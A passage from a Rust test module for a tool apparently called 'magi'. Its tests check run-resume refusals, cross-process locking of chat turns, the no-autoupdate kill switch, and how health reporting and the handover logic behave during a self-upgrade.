17870 assert_eq!(res.status, 400, "{}", res.body);
17871 assert_eq!(
17872 read_run(&runs, id).unwrap().status,
17873 RunStatus::Blocked,
17874 "a pull request that could not be confirmed merged must leave \
17875 the run exactly where it was"
17876 );
17877 }
17878
17879 #[tokio::test]
17880 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
17881 let fx = Fixture::start().await;
17882 let runs = fx.runs();
17883
17884 for (status, word) in [
17890 (RunStatus::Merged, "merged"),
17891 (RunStatus::Ready, "ready"),
17892 (RunStatus::Failed, "failed"),
17893 ] {
17894 let id = format!("20260901-000000-{}", &word[..4]);
17895 write_run(&runs, &id, status);
17896 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
17897 assert_eq!(res.status, 409, "{word} must not be resumable");
17898 let err = res.json()["error"].as_str().unwrap().to_owned();
17899 assert!(err.contains(word), "the refusal names the status: {err}");
17900 }
17901
17902 let mid = "20260901-000000-midf";
17907 write_run(&runs, mid, RunStatus::Reviewing);
17908 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
17909 assert_eq!(res.status, 202, "an interrupted run is resumable");
17910 }
17911
17912 #[tokio::test]
17913 async fn resume_is_refused_while_the_loop_is_running() {
17914 let fx = Fixture::start().await;
17915 let runs = fx.runs();
17916 let stalled = "20260901-000000-stal";
17917 write_run(&runs, stalled, RunStatus::Stalled);
17918
17919 let mut beat = crate::daemon::Status::new();
17923 beat.current = vec![crate::daemon::Current {
17924 task: "20260901-000000-task".to_owned(),
17925 run: "20260901-000000-othr".to_owned(),
17926 }];
17927 beat.updated_at = jiff::Timestamp::now();
17928 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17929 .expect("publish a heartbeat");
17930
17931 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
17932 assert_eq!(res.status, 409);
17933 let err = res.json()["error"].as_str().unwrap().to_owned();
17934 assert!(err.contains("othr"), "it names what the loop is on: {err}");
17935 assert!(err.contains("stop it first"), "{err}");
17936 }
17937
17938 #[test]
17939 fn a_run_cannot_be_resumed_twice_at_once() {
17940 let home = TempDir::new().expect("temp home");
17941 let ui = Ui::new(
17942 Queue::at(home.path().join("queue")),
17943 Questions::at(home.path().join("questions")),
17944 Talks::at(home.path().join("talks")),
17945 home.path().join("runs"),
17946 home.path().to_path_buf(),
17947 PathBuf::from("/repo"),
17948 )
17949 .with_worktrees_root(home.path().join("wt"));
17950 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
17951 let again = ui.begin_resume("20260901-000000-once");
17952 assert!(again.is_err(), "a second tap must not start a second graph");
17953 drop(first);
17954 assert!(
17955 ui.begin_resume("20260901-000000-once").is_ok(),
17956 "and the claim is released when the attempt ends"
17957 );
17958 }
17959
17960 #[test]
17961 fn talk_thinking_tracks_only_its_held_turn_claim() {
17962 let home = TempDir::new().expect("temp home");
17963 let ui = Ui::new(
17964 Queue::at(home.path().join("queue")),
17965 Questions::at(home.path().join("questions")),
17966 Talks::at(home.path().join("talks")),
17967 home.path().join("runs"),
17968 home.path().to_path_buf(),
17969 PathBuf::from("/repo"),
17970 )
17971 .with_worktrees_root(home.path().join("wt"));
17972 let id = "20260901-000000-once";
17973
17974 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
17975 let turn = ui.begin_talk_turn(id).expect("claim turn");
17976 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
17977 assert!(
17978 !ui.is_thinking("20260901-000000-other"),
17979 "one talk's turn does not make another talk busy"
17980 );
17981 drop(turn);
17982 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
17983 }
17984
17985 #[test]
17986 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
17987 let home = TempDir::new().expect("temp home");
17988 let talks = Talks::at(home.path().join("talks"));
17989 let ui = Ui::new(
17990 Queue::at(home.path().join("queue")),
17991 Questions::at(home.path().join("questions")),
17992 talks.clone(),
17993 home.path().join("runs"),
17994 home.path().to_path_buf(),
17995 PathBuf::from("/repo"),
17996 )
17997 .with_worktrees_root(home.path().join("wt"));
17998 let id = "20260901-000000-cross";
17999
18000 let other = Talks::at(home.path().join("talks"))
18001 .claim_turn(id)
18002 .expect("claim")
18003 .expect("the other process wins");
18004 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18005 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18006 assert!(
18007 matches!(
18008 ui.begin_talk_turn_unless_pending(id).expect("start"),
18009 TalkTurnStart::Foreign
18010 ),
18011 "a foreign holder is refused, not queued behind"
18012 );
18013 assert!(
18014 !ui.talk_turns.lock().unwrap().live.contains(id),
18015 "a refused claim leaves no in-process entry behind"
18016 );
18017 drop(other);
18018 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18019 assert!(talks.turn_held(id), "the web turn holds the lease");
18020 drop(turn);
18021 assert!(
18022 !talks.turn_held(id),
18023 "dropping the guard releases the lease"
18024 );
18025 }
18026
18027 fn consult_question(ui: &Ui) -> Question {
18028 let mut q = Question::new(
18029 "20260901-000000-consult".to_owned(),
18030 "implement".to_owned(),
18031 "impl-A".to_owned(),
18032 "Which backend?".to_owned(),
18033 String::new(),
18034 vec!["SQLite".to_owned(), "Redis".to_owned()],
18035 );
18036 ui.questions.put(&mut q).expect("question");
18037 q
18038 }
18039
18040 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18041 (
18042 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18043 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18044 )
18045 }
18046
18047 #[tokio::test]
18048 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18049 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18050 let q = consult_question(&ui);
18051 let talk = ui.talks.get(&id).expect("talk");
18052 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18053 let before = consult_snapshot(&ui, &q, &id);
18054 let cli_talks = Talks::at(ui.home.join("talks"));
18055 assert_eq!(
18056 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18057 .await
18058 .expect("CLI starter"),
18059 crate::consult::Started::Busy
18060 );
18061 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18062 assert!(ui.is_thinking(&id));
18063 drop(guard);
18064 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18065 }
18066
18067 #[tokio::test]
18068 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18069 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18070 let q = consult_question(&ui);
18071 let talk = ui.talks.get(&id).expect("talk");
18072 let started = tmp.path().join("started");
18073 let release = tmp.path().join("release");
18074 let script = tmp.path().join("consult-agent.sh");
18075 std::fs::write(
18076 &script,
18077 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18078 )
18079 .expect("script");
18080 let mut cfg = stub_config();
18081 cfg.agents[0].id = "mock".to_owned();
18082 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18083 cfg.agents[0].env = std::collections::BTreeMap::from([
18084 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18085 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
18086 ]);
18087 let questions = ui.questions.clone();
18088 let cli_talks = Talks::at(ui.home.join("talks"));
18089 let cli_q = q.clone();
18090 let turn = tokio::spawn(async move {
18091 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
18092 });
18093 let ready = tokio::time::timeout(Duration::from_secs(30), async {
18094 while !started.exists() {
18095 tokio::time::sleep(Duration::from_millis(10)).await;
18096 }
18097 })
18098 .await;
18099 let refusal = if ready.is_ok() {
18102 let before = consult_snapshot(&ui, &q, &id);
18103 let result = talk_say(
18104 State(Arc::clone(&ui)),
18105 Path(id.clone()),
18106 Ok(Json(NewTalkTurn {
18107 reply_to: None,
18108 text: "another message".to_owned(),
18109 attachments: Vec::new(),
18110 })),
18111 )
18112 .await;
18113 Some((result, before, consult_snapshot(&ui, &q, &id)))
18114 } else {
18115 None
18116 };
18117 std::fs::write(&release, "").expect("release agent");
18118 let done = turn.await.expect("join CLI turn");
18119 ready.expect("agent started before deadline");
18120 let (result, before, after) = refusal.expect("web request");
18121 let error = result.expect_err("web must refuse the CLI's turn");
18122 assert_eq!(error.status, StatusCode::CONFLICT);
18123 assert!(error.message.contains("a turn is already running"));
18124 assert_eq!(
18125 after, before,
18126 "refusal preserves question, draft and history"
18127 );
18128 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
18129 let guard = ui
18130 .begin_talk_turn(&id)
18131 .expect("web claim")
18132 .expect("free again");
18133 drop(guard);
18134 }
18135
18136 #[test]
18137 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
18138 let home = TempDir::new().expect("temp home");
18139 let talks = Talks::at(home.path().join("talks"));
18140 let ui = Ui::new(
18141 Queue::at(home.path().join("queue")),
18142 Questions::at(home.path().join("questions")),
18143 talks.clone(),
18144 home.path().join("runs"),
18145 home.path().to_path_buf(),
18146 PathBuf::from("/repo"),
18147 )
18148 .with_worktrees_root(home.path().join("wt"));
18149 let id = "20260901-000000-order";
18150 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18151 let slots = ui.talk_turns.lock().unwrap();
18153 let dropper = std::thread::spawn(move || drop(turn));
18154 let start = std::time::Instant::now();
18155 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
18156 std::thread::sleep(Duration::from_millis(5));
18157 }
18158 assert!(!talks.turn_held(id), "the lease is released first");
18159 assert!(slots.live.contains(id), "the slot is still held meanwhile");
18160 drop(slots);
18161 dropper.join().expect("join");
18162 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
18163 }
18164
18165 #[tokio::test]
18166 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
18167 let fx = Fixture::start().await;
18168 let mut beat = crate::daemon::Status::new();
18172 beat.pid = 4321;
18173 beat.updated_at = jiff::Timestamp::now();
18174 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18175 .expect("publish a heartbeat");
18176
18177 let res = fx.post("/api/upgrade", None).await;
18178 assert_eq!(res.status, 409);
18179 let err = res.json()["error"].as_str().unwrap().to_owned();
18180 assert!(err.contains("4321"), "the refusal names the owner: {err}");
18181 assert!(err.contains("old one against the same queue"), "{err}");
18182 }
18183
18184 #[test]
18191 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
18192 assert!(!should_spawn_recheck(&crate::config::Update {
18193 mode: UpdateMode::Off,
18194 interval: None,
18195 }));
18196
18197 unsafe {
18200 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18201 }
18202 let killed = should_spawn_recheck(&crate::config::Update {
18203 mode: UpdateMode::Notify,
18204 interval: None,
18205 });
18206 unsafe {
18207 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18208 }
18209 assert!(
18210 !killed,
18211 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
18212 one-time startup check"
18213 );
18214
18215 assert!(should_spawn_recheck(&crate::config::Update {
18216 mode: UpdateMode::Notify,
18217 interval: None,
18218 }));
18219 }
18220
18221 #[test]
18227 fn recheck_poll_period_tracks_a_short_configured_interval() {
18228 let short = crate::config::Update {
18229 mode: UpdateMode::Notify,
18230 interval: Some("1m".to_owned()),
18231 };
18232 let period = recheck_poll_period(&short);
18233 assert!(
18234 period <= Duration::from_secs(30),
18235 "a one-minute interval must wake the task far sooner than the \
18236 default ceiling, or the deck would not notice within the \
18237 interval the operator configured: got {period:?}"
18238 );
18239
18240 let default = crate::config::Update {
18241 mode: UpdateMode::Notify,
18242 interval: None,
18243 };
18244 assert_eq!(
18245 recheck_poll_period(&default),
18246 UPDATE_RECHECK_POLL_MAX,
18247 "the default day-long interval should poll at the (capped) \
18248 ceiling rather than needlessly often"
18249 );
18250 }
18251
18252 #[test]
18260 fn recheck_skips_the_network_before_the_interval_elapses() {
18261 let dir = TempDir::new().expect("temp dir");
18262 let path = dir.path().join("state.json");
18263 let state = kaishin::UpdateCheckState {
18264 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
18265 last_known_latest: None,
18266 last_known_url: None,
18267 };
18268 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
18269
18270 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
18271 assert!(
18272 !update_recheck_due(&checker, None),
18273 "a check made moments ago must not be repeated before the \
18274 configured interval elapses"
18275 );
18276 }
18277
18278 #[test]
18284 fn recheck_defers_to_an_upgrade_already_in_flight() {
18285 let dir = TempDir::new().expect("temp dir");
18286 let path = dir.path().join("state.json");
18287 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
18288 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
18289
18290 assert!(
18291 !update_recheck_due(&checker, Some(&progress)),
18292 "a recheck must not run while an upgrade this deck started is \
18293 still moving"
18294 );
18295 }
18296
18297 #[tokio::test]
18298 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
18299 unsafe {
18311 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18312 }
18313 let fx = Fixture::start().await;
18314 let res = fx.post("/api/upgrade", None).await;
18315 unsafe {
18316 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18317 }
18318 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18319 let body = res.json();
18320 assert!(body["to"].is_null(), "there was no release to move to");
18321 assert!(body["parked"].is_null(), "and nothing was parked");
18322 assert!(
18323 body["detail"]
18324 .as_str()
18325 .unwrap()
18326 .contains("disabled by MAGI_NO_AUTOUPDATE"),
18327 "{body:?}"
18328 );
18329 }
18330
18331 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
18332 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
18333 p.stage = stage;
18334 p
18335 }
18336
18337 #[test]
18338 fn busy_stages_match_the_ui_set() {
18339 use crate::updater::Stage;
18340 assert!(APP_JS.contains(
18341 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
18342 ));
18343 for s in [
18344 Stage::Downloading,
18345 Stage::Replaced,
18346 Stage::Parking,
18347 Stage::Restarting,
18348 ] {
18349 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
18350 }
18351 for s in [Stage::Done, Stage::Failed] {
18352 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
18353 }
18354 assert!(upgrade_in_motion(None).is_none());
18355 }
18356
18357 #[tokio::test]
18358 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
18359 use crate::updater::Stage;
18360 for stage in [
18361 Stage::Downloading,
18362 Stage::Replaced,
18363 Stage::Parking,
18364 Stage::Restarting,
18365 ] {
18366 let fx = Fixture::start().await;
18367 let seeded = seeded_progress(stage);
18368 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
18369 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
18370 .expect("read");
18371
18372 let res = fx.post("/api/upgrade", None).await;
18373 assert_eq!(res.status, 409, "{stage:?}");
18374 let err = res.json()["error"].as_str().unwrap().to_owned();
18375 assert!(err.contains("already in progress"), "{err}");
18376 assert!(err.contains(stage.as_str()), "{err}");
18377
18378 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
18379 .expect("read");
18380 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
18381 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
18382 .unwrap_or_default();
18383 assert!(!log.contains("signalling HANDOVER"), "{log}");
18384 }
18385 }
18386
18387 #[tokio::test]
18388 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
18389 use crate::updater::Stage;
18390 let repo = TempDir::new().expect("repo dir");
18391 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18392 .expect("write magi.toml");
18393 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18394 for stage in [Stage::Done, Stage::Failed] {
18395 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
18396 let res = fx.post("/api/upgrade", None).await;
18397 assert_eq!(res.status, 200, "{stage:?}");
18398 }
18399 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
18401 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
18402 }
18403
18404 #[tokio::test]
18405 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
18406 let repo = TempDir::new().expect("repo dir");
18422 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18423 .expect("write magi.toml");
18424 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18425
18426 let res = fx.post("/api/upgrade", None).await;
18432 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18433 let body = res.json();
18434 assert!(body["to"].is_null(), "there was no release to move to");
18435 assert!(body["parked"].is_null(), "and nothing was parked");
18436 assert!(
18437 body["detail"]
18438 .as_str()
18439 .unwrap()
18440 .contains("nothing restarted"),
18441 "{body:?}"
18442 );
18443 }
18444
18445 #[tokio::test]
18446 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
18447 let repo = TempDir::new().expect("repo dir");
18452 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18453 .expect("write magi.toml");
18454 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18455
18456 let health = fx.get("/api/health").await.json();
18457 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
18458 assert_eq!(
18459 health["update"]["available"], false,
18460 "checking is off, which reads as \"unknown\", not \"none\""
18461 );
18462 assert!(health["update"]["to"].is_null());
18463 assert!(
18464 health["upgrade"].is_null(),
18465 "nothing has ever asked this deck to upgrade"
18466 );
18467 }
18468
18469 #[tokio::test]
18470 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
18471 let fx = Fixture::start().await;
18472 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
18473
18474 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18475 progress.parked_run = Some("20260905-000000-cd51".to_owned());
18476 progress.advance(crate::updater::Stage::Parking);
18477 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18478
18479 let health = fx.get("/api/health").await.json();
18480 assert_eq!(health["upgrade"]["stage"], "parking");
18481 assert_eq!(health["upgrade"]["from"], "0.5.1");
18482 assert_eq!(health["upgrade"]["to"], "0.5.2");
18483 let waiting_on = health["upgrade"]["waiting_on"]
18484 .as_str()
18485 .expect("waiting_on is set while parking a known run");
18486 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18487 assert!(waiting_on.contains("implementing"), "{waiting_on}");
18488 }
18489
18490 #[tokio::test]
18491 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
18492 let fx = Fixture::start().await;
18493 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18494 progress.advance(crate::updater::Stage::Done);
18495 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18496
18497 let health = fx.get("/api/health").await.json();
18498 assert_eq!(health["upgrade"]["stage"], "done");
18499 assert!(
18500 health["upgrade"]["waiting_on"].is_null(),
18501 "nothing to wait on once it is done"
18502 );
18503 }
18504
18505 #[tokio::test]
18506 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
18507 let home = TempDir::new().expect("temp home");
18508 let runs = home.path().join("runs");
18509 std::fs::create_dir_all(&runs).expect("runs dir");
18510 let ui = Ui::new(
18511 Queue::at(home.path().join("queue")),
18512 Questions::at(home.path().join("questions")),
18513 Talks::at(home.path().join("talks")),
18514 runs,
18515 home.path().to_path_buf(),
18516 PathBuf::from("/repo/magi"),
18517 )
18518 .with_launch(launch_idle);
18519 let looping = ui.looping();
18520 let turns = ui.turns();
18521 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18522 .await
18523 .expect("bind loopback");
18524 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18525
18526 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18527 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18528
18529 hand_over(
18530 home.path(),
18531 &looping,
18532 &turns,
18533 &|_: &[String]| Duration::from_secs(5),
18534 served,
18535 |_| Ok(1),
18536 )
18537 .await
18538 .expect("hand over");
18539
18540 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
18541 assert_eq!(
18542 after.stage,
18543 crate::updater::Stage::Restarting,
18544 "hand_over owns the record through parking and up to restarting; \
18545 the successor is what finishes it"
18546 );
18547 }
18548
18549 #[tokio::test]
18552 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
18553 for fail in [false, true] {
18554 let home = TempDir::new().expect("temp home");
18555 let ui = idle_ui(&home);
18556 let looping = ui.looping();
18557 let turns = ui.turns();
18558 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18559 .await
18560 .expect("bind loopback");
18561 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18562 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18563 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18564
18565 let calls = std::sync::atomic::AtomicUsize::new(0);
18566 let outcome = hand_over(
18567 home.path(),
18568 &looping,
18569 &turns,
18570 &|_: &[String]| Duration::from_secs(5),
18571 served,
18572 |_| {
18573 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18574 if fail {
18575 anyhow::bail!("no exec")
18576 } else {
18577 Ok(4242)
18578 }
18579 },
18580 )
18581 .await;
18582 assert_eq!(outcome.is_err(), fail);
18583 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18584
18585 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
18586 .expect("upgrade.log is written under the home");
18587 for step in [
18588 "entered",
18589 "finish_loop",
18590 "listener released",
18591 "starting the successor",
18592 ] {
18593 assert!(log.contains(step), "missing `{step}` in:\n{log}");
18594 }
18595 assert!(
18596 log.contains(if fail { "did not start" } else { "pid 4242" }),
18597 "{log}"
18598 );
18599 }
18600 }
18601
18602 #[tokio::test]
18605 async fn the_handover_signal_wakes_one_waiter_once() {
18606 let signal = Notify::new();
18607 signal.notify_one();
18609 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
18610 .await
18611 .expect("an early signal is still seen");
18612 assert!(
18614 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
18615 .await
18616 .is_err(),
18617 "a consumed signal must not wake a second time"
18618 );
18619 let signal = std::sync::Arc::new(signal);
18621 let waiter = tokio::spawn({
18622 let signal = std::sync::Arc::clone(&signal);
18623 async move { wait_for_handover(&signal).await }
18624 });
18625 tokio::time::sleep(Duration::from_millis(20)).await;
18626 assert!(!waiter.is_finished(), "nothing was signalled yet");
18627 signal.notify_one();
18628 tokio::time::timeout(Duration::from_secs(5), waiter)
18629 .await
18630 .expect("a late signal wakes the waiter")
18631 .expect("join");
18632 }
18633
18634 #[tokio::test]
18635 async fn health_says_how_long_a_handover_has_been_stuck() {
18636 let fx = Fixture::start().await;
18637 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18638 progress.advance(crate::updater::Stage::Replaced);
18639 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
18640 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18641
18642 let health = fx.get("/api/health").await.json();
18643 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
18644 assert!(stuck >= 600, "{stuck}");
18645 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
18646 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
18647 }
18648
18649 #[tokio::test]
18650 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
18651 let home = tempfile::tempdir().expect("temp home");
18652 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18653 progress.advance(crate::updater::Stage::Parking);
18654 crate::updater::write_progress(home.path(), &progress).expect("seed");
18655 let mut again = progress.clone();
18657 again.advance(crate::updater::Stage::Replaced);
18658 crate::updater::write_progress(home.path(), &again).expect("replaced");
18659 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18660 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
18661 let after = crate::updater::read_progress(home.path()).expect("record");
18662 assert_eq!(after.stage, crate::updater::Stage::Parking);
18663 }
18664
18665 #[tokio::test]
18666 async fn health_does_not_call_a_live_parking_wait_stuck() {
18667 let fx = Fixture::start().await;
18668 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18669 progress.parked_run = Some("20260905-000000-cd51".to_owned());
18670 progress.advance(crate::updater::Stage::Parking);
18671 let hours = Duration::from_secs(3 * 3600);
18672 progress.started_at = Timestamp::now() - hours;
18673 progress.updated_at = Timestamp::now() - hours;
18674 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18675 let _lease = crate::updater::LeaseGuard::enter(
18676 fx.home.path(),
18677 Some("20260905-000000-cd51".to_owned()),
18678 );
18679
18680 let health = fx.get("/api/health").await.json();
18681 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
18682 assert!(health["upgrade"]["stuck_kind"].is_null());
18683 assert_eq!(health["upgrade"]["handover_alive"], true);
18684 let waiting_on = health["upgrade"]["waiting_on"]
18685 .as_str()
18686 .expect("waiting_on");
18687 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18688 }
18689
18690 fn idle_ui(home: &TempDir) -> Ui {
18691 let runs = home.path().join("runs");
18692 std::fs::create_dir_all(&runs).expect("runs dir");
18693 Ui::new(
18694 Queue::at(home.path().join("queue")),
18695 Questions::at(home.path().join("questions")),
18696 Talks::at(home.path().join("talks")),
18697 runs,
18698 home.path().to_path_buf(),
18699 PathBuf::from("/repo/magi"),
18700 )
18701 .with_launch(launch_idle)
18702 }
18703
18704 async fn park_fixture(
18705 home: &TempDir,
18706 ) -> (
18707 Ui,
18708 Arc<Mutex<LoopState>>,
18709 Arc<Mutex<TalkTurns>>,
18710 tokio::task::JoinHandle<std::io::Result<()>>,
18711 ) {
18712 let ui = idle_ui(home);
18713 let looping = ui.looping();
18714 let turns = ui.turns();
18715 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18716 .await
18717 .expect("bind loopback");
18718 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
18719 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18720 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18721 (ui, looping, turns, served)
18722 }
18723
18724 #[tokio::test]
18728 async fn hand_over_waits_for_a_running_chat_turn() {
18729 let home = TempDir::new().expect("temp home");
18730 let (ui, looping, turns, served) = park_fixture(&home).await;
18731 let ui = Arc::new(ui);
18732 let id = "20260901-000000-chat";
18733 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18734
18735 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18736 let handover = tokio::spawn({
18737 let home = home.path().to_path_buf();
18738 let turns = Arc::clone(&turns);
18739 let calls = Arc::clone(&calls);
18740 async move {
18741 hand_over(
18742 &home,
18743 &looping,
18744 &turns,
18745 &|_: &[String]| Duration::from_secs(60),
18746 served,
18747 move |_| {
18748 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18749 Ok(1)
18750 },
18751 )
18752 .await
18753 }
18754 });
18755
18756 let waiting = async {
18757 for _ in 0..200 {
18758 if crate::updater::read_progress(home.path())
18759 .is_some_and(|p| p.parked_talks == [id.to_owned()])
18760 {
18761 return;
18762 }
18763 tokio::time::sleep(Duration::from_millis(25)).await;
18764 }
18765 panic!("the park never named the chat turn");
18766 };
18767 waiting.await;
18768 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18769
18770 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18773 assert!(
18774 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18775 "a direct start says an upgrade is in progress"
18776 );
18777 assert!(
18778 ui.begin_queued_talk_turn("20260901-000000-late")
18779 .expect("queued claim")
18780 .is_none()
18781 );
18782 assert!(matches!(
18783 ui.begin_talk_turn_unless_pending("20260901-000000-late")
18784 .expect("start"),
18785 TalkTurnStart::Busy
18786 ));
18787 assert_eq!(turns.lock().unwrap().live.len(), 1);
18788
18789 let progress = crate::updater::read_progress(home.path()).expect("progress");
18791 let view = upgrade_progress_view(&ui, progress);
18792 assert!(
18793 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
18794 "{:?}",
18795 view.waiting_on
18796 );
18797
18798 assert!(!handover.is_finished());
18799 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18800 drop(turn);
18801 handover.await.expect("join").expect("hand over");
18802 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18803 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18804 }
18805
18806 #[tokio::test]
18809 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
18810 let home = TempDir::new().expect("temp home");
18811 let (ui, looping, turns, served) = park_fixture(&home).await;
18812 let ui = Arc::new(ui);
